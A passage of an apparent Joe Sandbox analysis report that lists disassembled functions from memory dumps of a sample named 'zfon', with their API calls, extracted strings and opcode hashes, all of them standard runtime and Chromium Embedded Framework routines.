API String ID: 343939323-4034954138
Opcode ID: 763b38a5e1ba8311d891531e55b4489e58e1bc519419c3cf1bddc3e57f5fc990
Instruction ID: 2510ebb56a4e04fc1ecdcd6eacf9e2697c663b16e4ddbbdf1632304ded0b8dc8
Opcode Fuzzy Hash: 763b38a5e1ba8311d891531e55b4489e58e1bc519419c3cf1bddc3e57f5fc990
Instruction Fuzzy Hash: E9020B32915F81D5D705DF24E9802A8B7B4FB48B58F948236CB9C17369EF39E1A5C3A0

Function 00007FF8BFB52C38 Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52CF0
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52D0E
__AdjustPointer.LIBCMT ref: 00007FF8BFB52D4F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52D5C
__AdjustPointer.LIBCMT ref: 00007FF8BFB52D98
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52DAD
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52DF2
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52DF9

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: 77d40a3a750292ef56bb7ba82bc0b9b507dfb24b3446034ca75943c21c5ab11f
Instruction ID: 2bcc333089077b3c5d1ee774baa394e26de48f32f5c82043c177ef2822a7074d
Opcode Fuzzy Hash: 77d40a3a750292ef56bb7ba82bc0b9b507dfb24b3446034ca75943c21c5ab11f
Instruction Fuzzy Hash: 5A518C62B0BA8291FE6A9B9D9464639B3A4AF54FD4B094435CF4E06FD5DF2CF442C310

Function 00007FF8BFB52E1C Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52ED6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52EF5
__AdjustPointer.LIBCMT ref: 00007FF8BFB52F36
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52F43
__AdjustPointer.LIBCMT ref: 00007FF8BFB52F7F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52F94
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52FD9
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB52FE0

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: f0706fa7c64a0a7492f233c4046144e15a2d0b25a5c3bc49f148db7cf339c299
Instruction ID: 4cc35fd8fb4c413f5979b89f25cc66f93a3c3a01a8cbdb50752341717d083576
Opcode Fuzzy Hash: f0706fa7c64a0a7492f233c4046144e15a2d0b25a5c3bc49f148db7cf339c299
Instruction Fuzzy Hash: FA517222A0B79291FE659B9DA4A46387394AF54FD4F094439DF4E06B95DF3CF441C310

Function 00007FF8B90F922C Relevance: 12.1, APIs: 8, Instructions: 104threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF8B90F9259
GetCurrentThreadId.KERNEL32 ref: 00007FF8B90F9274
GetCurrentThreadId.KERNEL32 ref: 00007FF8B90F928A
xtime_get.LIBCPMT ref: 00007FF8B90F92C6
GetCurrentThreadId.KERNEL32 ref: 00007FF8B90F92E1
_Xtime_diff_to_millis2.LIBCPMT ref: 00007FF8B90F92FC
GetCurrentThreadId.KERNEL32 ref: 00007FF8B90F9316
GetCurrentThreadId.KERNEL32 ref: 00007FF8B90F936F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: CurrentThread$Xtime_diff_to_millis2xtime_get
String ID:
API String ID: 3218647749-0
Opcode ID: 6f3bf3e151121cb8b9efbec79e646c9e8da7cfbfd622af188c552a0e09985615
Instruction ID: 9a6242b8a0aa872aa357afe41220b86a7cbddce50b873fe452de3b66d6fec96a
Opcode Fuzzy Hash: 6f3bf3e151121cb8b9efbec79e646c9e8da7cfbfd622af188c552a0e09985615
Instruction Fuzzy Hash: 45410D32D08686D6EE649F1EE49077973B0EB447C4F508031DB5E426A1DF3DE98AD701

Function 00007FF7F96E3770 Relevance: 12.0, APIs: 8, Instructions: 22COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96E3779
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E3782
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E378B
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E3794
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E379D
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E37A6
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E37B2
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E37BE

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 7bf056c13a2da99b91ea4627273c8a9152c289f73d6bb08a8926818adde8cdeb
Instruction ID: eada031b1c74ac757cbd0e1234499a6ef508f79975fcca7f2da93a4351c4f1f5
Opcode Fuzzy Hash: 7bf056c13a2da99b91ea4627273c8a9152c289f73d6bb08a8926818adde8cdeb
Instruction Fuzzy Hash: 45F00712A1C68990E7D4FF30CC521F95720AF68B44FC40931E62D450EB9F14D956C3B1

Function 00007FF7F97204D0 Relevance: 10.8, APIs: 7, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d964228e62662dd69238403e01b8c967a136a32bf0b3cf5687f910d97fee5f
Instruction ID: 332da5c3fc48b521f5ada3fd4bc226fb4bd269ba3e1193b3f3fa749e3233fc27
Opcode Fuzzy Hash: c0d964228e62662dd69238403e01b8c967a136a32bf0b3cf5687f910d97fee5f
Instruction Fuzzy Hash: 6CE18032A19B8189EB50DF24E8803EDB7B4FB48788F444535DA8D07BA9DF38E554CB60

Function 00007FF7F96F6DD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96F6ED7
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F6F0F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F6FDD
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F7015

Strings

document.body.scrollTop = , xrefs: 00007FF7F96F6E41
document.body.scrollLeft = , xrefs: 00007FF7F96F6F48

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID: document.body.scrollLeft = $document.body.scrollTop =
API String ID: 3041573648-1848242717
Opcode ID: 063d5a371850d943b3a793401029a2b591f2405daa0d756e103ce80683033bc1
Instruction ID: b21d7dd2a1e357c35ce4a31ec169d37b99db0d33232537822fd00b4a9eda8a9c
Opcode Fuzzy Hash: 063d5a371850d943b3a793401029a2b591f2405daa0d756e103ce80683033bc1
Instruction Fuzzy Hash: 4471B432A09B8685EB50EF25D8503AEA771FB85B88F841131EA6D07AEDDF3CD445C750

Function 00007FF8B91128C8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911291B
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B9112953
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B9112A66

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Part of subcall function 00007FF8B910FD2C: _Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B910FD76
Part of subcall function 00007FF8B910FD2C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FD93
Part of subcall function 00007FF8B910FD2C: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FDC9
Part of subcall function 00007FF8B910FD2C: _Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B910FDF4
Part of subcall function 00007FF8B910FD2C: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE11
Part of subcall function 00007FF8B910FD2C: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE3A
Part of subcall function 00007FF8B910FD2C: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE72

Part of subcall function 00007FF8B910F930: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B910F93B
Part of subcall function 00007FF8B910F930: __crtGetLocaleInfoEx.LIBCPMT ref: 00007FF8B910F955

Strings

+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v, xrefs: 00007FF8B91129DB, 00007FF8B91129F8
$+xv, xrefs: 00007FF8B9112A40
$+xv, xrefs: 00007FF8B91129E5, 00007FF8B91129EE

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: calloc$___lc_locale_name_funcfree$Concurrency::cancel_current_taskExceptionGetdaysGetmonthsInfoLocaleThrow___lc_codepage_func___mb_cur_max_func__crt__pctype_funclocaleconvstd::bad_alloc::bad_alloc
String ID: $+xv$$+xv$+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
API String ID: 3654265320-3573081731
Opcode ID: 28510fcd3dd80bfbc3f2cddd89eae482c9dfe277f943031db850fde30aaa92f3
Instruction ID: c38cbe8f1527e4da1af9d1aefffa7a68da06347755ae3902fcc26a8f3ae17fa3
Opcode Fuzzy Hash: 28510fcd3dd80bfbc3f2cddd89eae482c9dfe277f943031db850fde30aaa92f3
Instruction Fuzzy Hash: 5C51CE32A08BE596E724CF28945046E7BA0FB45BE4B144635CFA9437A4EB3DE482D700

Function 00007FF7F96EBF00 Relevance: 10.6, APIs: 7, Instructions: 133COMMON

Download Yara Rule

APIs

?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF7F96EBF9C
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7F96EBFE7
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF7F96EC00D
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF7F96EC02E
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF7F96EC07B
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF7F96EC082
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF7F96EC08F

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 1492985063-0
Opcode ID: 583b6c5399d8927dd0e9d876002cb2be730c77e550f060ad08d45f6894265d7a
Instruction ID: 8b0fc48703e3ed6be15d7216c2eaef47133342757639f008aab53c87e68dc01e
Opcode Fuzzy Hash: 583b6c5399d8927dd0e9d876002cb2be730c77e550f060ad08d45f6894265d7a
Instruction Fuzzy Hash: 9D515822A0864181EB60AF1AE994238E771FB84FE5F54C231CE6E436E4CF3FD8468755

Function 00007FF8BFB5EBB8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5EC2C
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5EC3B

Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE5D
Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE96
Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D1C1

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5ECDB
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5ECEB
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5ED97

Strings

{for , xrefs: 00007FF8BFB5EC64

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID: {for
API String ID: 2943138195-864106941
Opcode ID: 843ce90981090cc763d5b819b1a82c1911c4347c90cb61675e3ef59b1b7081ca
Instruction ID: f02c59968a2779d788eaf411900ae92ce858e41001763b273bfdeb92ba80f601
Opcode Fuzzy Hash: 843ce90981090cc763d5b819b1a82c1911c4347c90cb61675e3ef59b1b7081ca
Instruction Fuzzy Hash: DC512772A08A85ADF7019FA8D4603E877A1FB44788F848032EB4D4BB99DF7CE655C340

Function 00007FF8B90F2328 Relevance: 10.6, APIs: 7, Instructions: 117COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2418
memset.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2426
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2438
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F246C
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2476
memset.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2484
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90F2A30,?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2494

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: memcpy$memset$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 700262077-0
Opcode ID: ab1676f4613d5929e73ddd5a5e1497729e0513e29030f9efa34d5d2f2fe8c048
Instruction ID: f10bf4a2ab04adac49f36630ede59b4eed1cb6fe0fbf90970d39f9ece3d57fc9
Opcode Fuzzy Hash: ab1676f4613d5929e73ddd5a5e1497729e0513e29030f9efa34d5d2f2fe8c048
Instruction Fuzzy Hash: 5241CF62708A8191EE04EF1AE5442AE7356FB44BE0F544631EB6D0BBD9DFBCE146C304

Function 00007FF8BFB5E184 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF8BFB5D87D), ref: 00007FF8BFB5E248
DName::DName.LIBVCRUNTIME ref: 00007FF8BFB5E267

Strings

`template-parameter, xrefs: 00007FF8BFB5E275
void, xrefs: 00007FF8BFB5E1CA

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: NameName::atol
String ID: `template-parameter$void
API String ID: 2130343216-4057429177
Opcode ID: 37dc88686286ae883caf861cfcc370a32d0b887e3358d6a576a3fa5485c4a12c
Instruction ID: 35896fabf8f9aea46463763665a8f8aeb997f322552d61ee3e59f7cb2f000c73
Opcode Fuzzy Hash: 37dc88686286ae883caf861cfcc370a32d0b887e3358d6a576a3fa5485c4a12c
Instruction Fuzzy Hash: EF412422B08B56A8FB009BE8D8612AC73B1BF58BC8F981135DF0D26A59DF7CE545C340

Function 00007FF7F96E4160 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

?_Xout_of_range@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96E4350), ref: 00007FF7F96E4191
?_Xout_of_range@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96E4350), ref: 00007FF7F96E41B8
?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96E4350), ref: 00007FF7F96E41FD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96E4350), ref: 00007FF7F96E425B

Strings

invalid string position, xrefs: 00007FF7F96E418A, 00007FF7F96E41B1
string too long, xrefs: 00007FF7F96E41F6

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xout_of_range@std@@$Xlength_error@std@@memcpy
String ID: invalid string position$string too long
API String ID: 3790025958-4289949731
Opcode ID: a433279aa140c95842c378e63d78108e93d20c681d0bed4b7112ca1e36f64c80
Instruction ID: eceb51740616e14253b67f79263065c3838654f52aa6c91186754fb60cc6489c
Opcode Fuzzy Hash: a433279aa140c95842c378e63d78108e93d20c681d0bed4b7112ca1e36f64c80
Instruction Fuzzy Hash: 70318031A18B0281EB14FF25E988079B272FB94BD4B904531CA2D476ECDF3EE46183E5

